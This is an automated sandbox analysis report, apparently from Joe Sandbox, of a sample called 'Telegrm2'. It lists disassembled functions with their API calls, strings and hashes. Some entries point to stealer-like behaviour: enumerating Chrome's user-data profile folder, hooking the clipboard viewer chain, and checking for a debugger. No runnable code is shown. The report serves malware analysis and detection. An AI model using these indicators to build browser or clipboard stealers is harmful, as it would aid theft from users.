Instruction Fuzzy Hash: FF81F4BB70078587DF28DF75D9547A977A5E756788F18903ADA0E8FB48EB38C1018740

Function 0362EF20 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 127fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 0362EFF0

Part of subcall function 0363FA68: std::exception::exception.LIBCMT ref: 0363FA7B
Part of subcall function 0363FA68: std::exception::exception.LIBCMT ref: 0363FAA9

Strings

*.*, xrefs: 0362EFC9
\AppData\Local\Google\Chrome\User Data\Default, xrefs: 0362EF23
invalid string position, xrefs: 0362EF9A

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: std::exception::exception$FileFindFirst
String ID: *.*$\AppData\Local\Google\Chrome\User Data\Default$invalid string position
API String ID: 3164152327-3505193513
Opcode ID: d4059af2b860f65dcdb21301f404ceb9eacfecb8ca6504d42ed3b9e27b6ad8dd
Instruction ID: f6e9fc5b1c7bf596835d9b6e8beaa4a781380fd6f8f0050547620b3a85738533
Opcode Fuzzy Hash: d4059af2b860f65dcdb21301f404ceb9eacfecb8ca6504d42ed3b9e27b6ad8dd
Instruction Fuzzy Hash: 2951D832604F4195DB20DB25E89439EBB74F7867E8F44421ADA5E4BBB8DF39C649CB00

Function 03642ADC Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 288COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03633334: _getptd.LIBCMT ref: 03633346

_errno.LIBCMT ref: 03642B2C
_invalid_parameter_noinfo.LIBCMT ref: 03642B36
_errno.LIBCMT ref: 03642B58
_invalid_parameter_noinfo.LIBCMT ref: 03642B64
_errno.LIBCMT ref: 03642B8C
_cftoe_l.LIBCMT ref: 03642BD0

Strings

gfffffff, xrefs: 03642E5B

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo$_cftoe_l_getptd
String ID: gfffffff
API String ID: 1282097019-1523873471
Opcode ID: fa0a99ad7b7f2400bb0c28faa6c0015f3dcf09ae682282b5e9e5d8ac46116d98
Instruction ID: 6b008effb63ba3448c664d0ecde0436fce251efd751b48ed773df456e6074330
Opcode Fuzzy Hash: fa0a99ad7b7f2400bb0c28faa6c0015f3dcf09ae682282b5e9e5d8ac46116d98
Instruction Fuzzy Hash: EEA15763B047C88BDB05CF29D6643ADBBA5E716794F28CA25EF590B795EB38C055C300

Function 033481C0 Relevance: 12.3, APIs: 8, Instructions: 289COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 033481F4
_invalid_parameter_noinfo.LIBCMT ref: 033481FF
wcomexecmd.LIBCMT ref: 03348337

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfowcomexecmd
String ID:
API String ID: 1728837525-0
Opcode ID: 1ecebbeb37ace30139545a725b505b88b7ff7d913080444dcc587744223f7780
Instruction ID: 5e67647e1cb041bcbd2de7365df5b91dc12f1afdc88d0a7c869ae9c8e9b66f50
Opcode Fuzzy Hash: 1ecebbeb37ace30139545a725b505b88b7ff7d913080444dcc587744223f7780
Instruction Fuzzy Hash: 23610934B18F0D0FDB68FB3D9C9523E72C6FB86200B45467DD95ADB651EE25F8024286

Function 03638808 Relevance: 12.2, APIs: 8, Instructions: 191COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0363883C
_errno.LIBCMT ref: 036389D4
_errno.LIBCMT ref: 03638A20
wcomexecmd.LIBCMT ref: 03638A3D
free.LIBCMT ref: 03638A48
_invalid_parameter_noinfo.LIBCMT ref: 03638847

Part of subcall function 03635664: GetCurrentProcess.KERNEL32(?,?,?,?,03635706), ref: 0363567C

wcomexecmd.LIBCMT ref: 0363897F
free.LIBCMT ref: 03638A59

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno$freewcomexecmd$CurrentProcess_invalid_parameter_noinfo
String ID:
API String ID: 1058736139-0
Opcode ID: 4df2f126d4db7e5acc1a539029345e9ccebf360a3dc86f4100520a20d305af61
Instruction ID: ba1ee79fb4e0c967e9b589d3819558e049b53fd394ae47b6af58caa1901c8d60
Opcode Fuzzy Hash: 4df2f126d4db7e5acc1a539029345e9ccebf360a3dc86f4100520a20d305af61
Instruction Fuzzy Hash: E8512B6970434582EF28EB3666507AE6295ABC7BD4F4C853DAF694FB94DE3CC006C309

Function 03632C00 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(0362AC7C), ref: 03634567
RtlLookupFunctionEntry.KERNEL32 ref: 03634586
RtlVirtualUnwind.KERNEL32 ref: 036345D2
IsDebuggerPresent.KERNEL32 ref: 03634644
SetUnhandledExceptionFilter.KERNEL32 ref: 0363465C
UnhandledExceptionFilter.KERNEL32 ref: 03634669
GetCurrentProcess.KERNEL32 ref: 03634682
TerminateProcess.KERNEL32 ref: 03634690

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: eef56456e6e2c180c42c0eb83d1c6856b7bb6072fe3c42e24124d62122c709d5
Instruction ID: 162fb2ea93d3f6a1c2d78ad4cb9b27e681829e590dd139cdd32d7718e532750b
Opcode Fuzzy Hash: eef56456e6e2c180c42c0eb83d1c6856b7bb6072fe3c42e24124d62122c709d5
Instruction Fuzzy Hash: 9F315A35504F44D9EB12EB56F89035AB3A8F785754F40806AEA8E43B74EF7EC294CB00

Function 03634565 Relevance: 12.1, APIs: 8, Instructions: 52COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(0362AC7C), ref: 03634567
RtlLookupFunctionEntry.KERNEL32 ref: 03634586
RtlVirtualUnwind.KERNEL32 ref: 036345D2
IsDebuggerPresent.KERNEL32 ref: 03634644
SetUnhandledExceptionFilter.KERNEL32 ref: 0363465C
UnhandledExceptionFilter.KERNEL32 ref: 03634669
GetCurrentProcess.KERNEL32 ref: 03634682
TerminateProcess.KERNEL32 ref: 03634690

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: 229bee8a269af50cfbc25a9597bab389d63bbbe58a3b0a20ee4da0e24b214f5c
Instruction ID: f46eb090ff5a65285844dd861afa4b2c3b671734e6ec9ab6a89d5e032f5bcd2b
Opcode Fuzzy Hash: 229bee8a269af50cfbc25a9597bab389d63bbbe58a3b0a20ee4da0e24b214f5c
Instruction Fuzzy Hash: 1C213935504F44DAE712EB92F85434AB3A8F789754F00802AEA8E47774EF7EC294CB00

Function 03346E70 Relevance: 10.9, APIs: 7, Instructions: 423COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 03346E9B
_get_daylight.LIBCMT ref: 03346EB1

Part of subcall function 03347C0C: _errno.LIBCMT ref: 03347C15
Part of subcall function 03347C0C: _invalid_parameter_noinfo.LIBCMT ref: 03347C20

_get_daylight.LIBCMT ref: 03346EC6

Part of subcall function 03347BAC: _errno.LIBCMT ref: 03347BB5
Part of subcall function 03347BAC: _invalid_parameter_noinfo.LIBCMT ref: 03347BC0

_get_daylight.LIBCMT ref: 03346EDB

Part of subcall function 03347BDC: _errno.LIBCMT ref: 03347BE5
Part of subcall function 03347BDC: _invalid_parameter_noinfo.LIBCMT ref: 03347BF0

___lc_codepage_func.LIBCMT ref: 03346EE8

Part of subcall function 0334C3A8: _getptd.LIBCMT ref: 0334C3AC

Part of subcall function 033484C8: __wtomb_environ.LIBCMT ref: 033484F8

free.LIBCMT ref: 03346F59

Part of subcall function 033436E0: _errno.LIBCMT ref: 03343700

free.LIBCMT ref: 03346FC2

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$free$___lc_codepage_func__wtomb_environ_getptd_lock
String ID:
API String ID: 4268574505-0
Opcode ID: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction ID: 6160655a991cab2298a7342e7c3ba9c056598ad17c2aec533d53b28fa72a160c
Opcode Fuzzy Hash: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction Fuzzy Hash: 27C1C434A287448FD729EF289CC576AB7D6FB8A610F44556ED4DBC7251DF30E8028B82

Function 03639FFC Relevance: 10.6, APIs: 7, Instructions: 142COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0363A060

Part of subcall function 0363537C: Sleep.KERNEL32(?,?,00000000,03633110), ref: 036353C1

free.LIBCMT ref: 0363A0DE
free.LIBCMT ref: 0363A125
GetLocaleInfoW.KERNEL32 ref: 0363A15C
GetLocaleInfoW.KERNEL32 ref: 0363A186
free.LIBCMT ref: 0363A193
GetLocaleInfoW.KERNEL32 ref: 0363A1BE

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: InfoLocalefree$ErrorLastSleep
String ID:
API String ID: 3746651342-0
Opcode ID: 7d64ea1f505b0bb52769325ade5a3065c079a391e066f49547148fca7f58a5df
Instruction ID: b585bf8ebbaf9ccc7891b850ae81eadcb154880856aa0252d254bfa32ac38b11
Opcode Fuzzy Hash: 7d64ea1f505b0bb52769325ade5a3065c079a391e066f49547148fca7f58a5df
Instruction Fuzzy Hash: B7412B26715B4442E731DB76EA14B7B7699BB8BBC8F089029CE854BB44EF7DC401D701

Function 03635518 Relevance: 9.1, APIs: 6, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 03635585
RtlLookupFunctionEntry.KERNEL32 ref: 0363559D
RtlVirtualUnwind.KERNEL32 ref: 036355D7
IsDebuggerPresent.KERNEL32 ref: 0363560D
SetUnhandledExceptionFilter.KERNEL32 ref: 03635617
UnhandledExceptionFilter.KERNEL32 ref: 03635622

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: d47baece3fd4c09f50df7032b07debdc36c173da0d13c1922d78891af36198a9
Instruction ID: 5b9d87e4a854730888cb739bb08c7e7a0de5dea1be68ea61999b812739270bdd
Opcode Fuzzy Hash: d47baece3fd4c09f50df7032b07debdc36c173da0d13c1922d78891af36198a9
Instruction Fuzzy Hash: AE319436614F8096DB20CF65E85079EB3A4FB8A798F540119EF9D47B68DF39C155CB00

Function 03624380 Relevance: 9.1, APIs: 6, Instructions: 53windowclipboardCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 036243CD
SendMessageA.USER32 ref: 036243E1
DestroyWindow.USER32 ref: 036243EF
PostQuitMessage.USER32 ref: 036243F7
ChangeClipboardChain.USER32 ref: 0362440C
SetClipboardViewer.USER32 ref: 0362441A

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Message$ClipboardSend$ChainChangeDestroyPostQuitViewerWindow
String ID:
API String ID: 267668081-0
Opcode ID: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction ID: ed89b647e2e346ece664e3c4a16d5a0e34bb6662fc29340c86369a86aa2c3d11
Opcode Fuzzy Hash: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction Fuzzy Hash: B301D451B11D02D3F7279BB7BD4932A11D4EB8C765F899430C509CBB60DE2EC6E28B20

Function 0363CDF8 Relevance: 7.7, APIs: 5, Instructions: 165COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0363CE1F

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

GetLocaleInfoA.KERNEL32 ref: 0363CE54
GetLocaleInfoA.KERNEL32 ref: 0363CEAC
GetLocaleInfoA.KERNEL32 ref: 0363CFA0

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: InfoLocale$_amsg_exit_getptd
String ID:
API String ID: 3133215516-0
Opcode ID: cd837cf249ffd820c4f74947585e6c0d2355e65f6235dd3ced10b8ca1f0d3b9f
Instruction ID: b3fe288c8cd2e9aad31e9fc2233b18ea766c68b301e8a6378ca1a6c0055149c4
Opcode Fuzzy Hash: cd837cf249ffd820c4f74947585e6c0d2355e65f6235dd3ced10b8ca1f0d3b9f
Instruction Fuzzy Hash: 43618932710A85A7CB2DDF31DA447EAB3A5F789B46F484029D7199B354DB39E125C700

Function 0363E600 Relevance: 7.6, APIs: 5, Instructions: 101COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 0363E64B
GetLocaleInfoW.KERNEL32 ref: 0363E6DC
WideCharToMultiByte.KERNEL32 ref: 0363E717
free.LIBCMT ref: 0363E72B

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: InfoLocale$ByteCharMultiWidefree
String ID:
API String ID: 40707599-0
Opcode ID: 90edfa8a17d3c1a95011feb5ac7ae8af9be21e5ccedbc6494c5874902a984900
Instruction ID: 95bbd952f0db530f18947799a4b87c15527700c4bc7d17c91ac8295f9f8334eb
Opcode Fuzzy Hash: 90edfa8a17d3c1a95011feb5ac7ae8af9be21e5ccedbc6494c5874902a984900
Instruction Fuzzy Hash: E531D333740B809AEB10CF25D90079AB7A9FB46BE8F584625EF6D47B94DB3AC512C310

Function 036398D0 Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 03639907
GetCurrentProcessId.KERNEL32 ref: 03639912
GetCurrentThreadId.KERNEL32 ref: 0363991E
GetTickCount.KERNEL32 ref: 0363992A
QueryPerformanceCounter.KERNEL32 ref: 0363993B

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction ID: eee3d1269fe7523bd3c25610b2b76f117eb02ab42588a2a3203975eceebef91f
Opcode Fuzzy Hash: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction Fuzzy Hash: 6D019221624F0092E752CF22F8403567364F759B90F44A620EF5E477A4DF3ECA858704

Function 03636CAC Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 03636CE5

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

Part of subcall function 03636A70: _getptd.LIBCMT ref: 03636AAA

Part of subcall function 036352FC: malloc.LIBCMT ref: 03635327
Part of subcall function 036352FC: Sleep.KERNEL32(?,?,00000000,03639B11,?,?,00000000,03639BBB,?,?,?,?,?,?,00000000,0363492C), ref: 0363533A

free.LIBCMT ref: 03636F42
free.LIBCMT ref: 03636F79
free.LIBCMT ref: 03636F86

Part of subcall function 03635664: GetCurrentProcess.KERNEL32(?,?,?,?,03635706), ref: 0363567C

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free$_getptd$CurrentProcessSleep_amsg_exitmalloc
String ID:
API String ID: 2889500207-0
Opcode ID: 3bab8be2e187a51b71eab5e28680ac73d77c70045c28a5d02a2d1a2fa4aaf329
Instruction ID: 08fa0f70a9ba6ff8ba5a10c03f3c2a645a068b924ceff2342e50c107728d4d88
Opcode Fuzzy Hash: 3bab8be2e187a51b71eab5e28680ac73d77c70045c28a5d02a2d1a2fa4aaf329
Instruction Fuzzy Hash: C2910277305B80A6CB24DF26E68479AB7A4F78A788F54412ADF4E4BB14EF39D055CB00

Function 0333FB38 Relevance: 5.9, APIs: 4, Instructions: 892COMMON

Download Yara Rule

APIs

memchr.LIBCMT ref: 0333FD0C
memchr.LIBCMT ref: 0333FD35
rand.LIBCMT ref: 0333FE9A
rand.LIBCMT ref: 03340189

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: memchrrand
String ID:
API String ID: 2128663743-0
Opcode ID: 85b5146565668c93977723c73af3083d92f2e203ccba0ef059a5ca506d57ecae
Instruction ID: bded3f42c224827275b2b40ebcea488437fc7fdc421dcdaf2a43fa676a544408
Opcode Fuzzy Hash: 85b5146565668c93977723c73af3083d92f2e203ccba0ef059a5ca506d57ecae
Instruction Fuzzy Hash: E2529130624B8C8FDB69EF2CC8987E9B7D1FB59310F90462AD85AC7191DF70A585CB81

Function 036451A4 Relevance: 5.8, Strings: 4, Instructions: 795COMMONLIBRARYCODE

Download Yara Rule

Strings

1#INF, xrefs: 0364530A
1#QNAN, xrefs: 03645341
1#IND, xrefs: 036452D3
1#SNAN, xrefs: 0364528E

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID:
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 0-2761157908
Opcode ID: 04328c57747a554801fa2fa068e0d3dbf0d0932564e18481a4ae3c965d632057
Instruction ID: 0a50f635c5b0c86b46ec7692a27ba048778e5ffb150a6e5b2ec06f907d4242b9
Opcode Fuzzy Hash: 04328c57747a554801fa2fa068e0d3dbf0d0932564e18481a4ae3c965d632057
Instruction Fuzzy Hash: 8B52EE77F242908BE725CFB9C110BAE3BB6B74634CB489019DF0667F48EA388615CB54

Function 036324A0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 229memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 0363274E

Strings

base, xrefs: 0363267B

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: AllocLocal
String ID: base
API String ID: 3494564517-3233087073
Opcode ID: edbfe02e436e56d0dffe3037d09f5d19429651610ca2561b4edec7bd7cbfec16
Instruction ID: 23051a013466871281d8e0a0e7f7c802c13ff0c36910075da72dac3d0140b0a2
Opcode Fuzzy Hash: edbfe02e436e56d0dffe3037d09f5d19429651610ca2561b4edec7bd7cbfec16
Instruction Fuzzy Hash: 068125A6B00B8487DB14CB26D16022EB7A1FB8AFA4F18C615DF5A0BB55DF39C592C740

Function 03622380 Relevance: 5.2, APIs: 4, Instructions: 244memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,036222C7), ref: 036224B6
VirtualFree.KERNEL32(?,?,00000000,00000000,?,036222C7), ref: 036224F0
VirtualAlloc.KERNEL32(?,?,00000000,00000000,?,036222C7), ref: 03622643
VirtualFree.KERNEL32(?,?,00000000,00000000,?,036222C7), ref: 03622678

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 667e7e1166942ad4a01b563a56df34aace26f67ad1df216b49367f5cf7a47c00
Instruction ID: ad59e82b5a62db5bb0dd0c21b3a753047d73a58abc2d8fdb052be67954150a0e
Opcode Fuzzy Hash: 667e7e1166942ad4a01b563a56df34aace26f67ad1df216b49367f5cf7a47c00
Instruction Fuzzy Hash: 9D91E032300AA09BCB59DF29D26076E7B65F749B84F068929DE1A5B714DF34D4A2CB40

Function 03632020 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0363209A
VirtualFree.KERNEL32(?,?,00000000,03631EDE,?,?,?,0362E182), ref: 036320B5
GetProcessHeap.KERNEL32(?,?,00000000,03631EDE,?,?,?,0362E182), ref: 036320BB
HeapFree.KERNEL32(?,?,00000000,03631EDE,?,?,?,0362E182), ref: 036320C9

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: FreeHeap$ProcessVirtualfree
String ID:
API String ID: 4282497734-0
Opcode ID: f26f74e579be28588a13ed5e4f7d6e2746d7d4c2692a86a97de5c24af044b0c8
Instruction ID: 6bd8e00ffcca082fea5ae9c7531d4cbe301193d6b199bdb0e9452490f9b0a760
Opcode Fuzzy Hash: f26f74e579be28588a13ed5e4f7d6e2746d7d4c2692a86a97de5c24af044b0c8
Instruction Fuzzy Hash: 9011A332611B5483DB19CF66D65035DB361FB89F85F089425DE4A17B28CF39C4A6CB80

Function 033478DC Relevance: 4.8, APIs: 3, Instructions: 302COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 033478FD
_invalid_parameter_noinfo.LIBCMT ref: 03347909
_errno.LIBCMT ref: 03347936

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 12095cc6e6c6656046d0964d28f1b6b7969298eb9375bab5b3475d2de16608da
Instruction ID: c83f8f864ff267f65132d36d9613797796ee3e6202d74cdd834fe9f4e9fb6dd9
Opcode Fuzzy Hash: 12095cc6e6c6656046d0964d28f1b6b7969298eb9375bab5b3475d2de16608da
Instruction Fuzzy Hash: 7581277176490A0FD70CDF2C8CAA2B436CAE7D821571CD27EE857CF7A6EA24E5428740

Function 03637F24 Relevance: 4.7, APIs: 3, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 03637F45
_invalid_parameter_noinfo.LIBCMT ref: 03637F51
_errno.LIBCMT ref: 03637F7E

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 9318081bc90adb89e222cb5cb55b6d4af5944e9728e9188c6bb36d3a18d913af
Instruction ID: c5581af18cd17d70d9890cc21ae4a6b2e177e1dde9ec93fe57507b097f9cf47a
Opcode Fuzzy Hash: 9318081bc90adb89e222cb5cb55b6d4af5944e9728e9188c6bb36d3a18d913af
Instruction Fuzzy Hash: C7613BB2B116494BCB1CCF28DD213A4A656A7D9784F48D13AEA098F798FB3CE6018740

Function 0363D0C8 Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0363D0EA

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

GetLocaleInfoA.KERNEL32 ref: 0363D11F

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
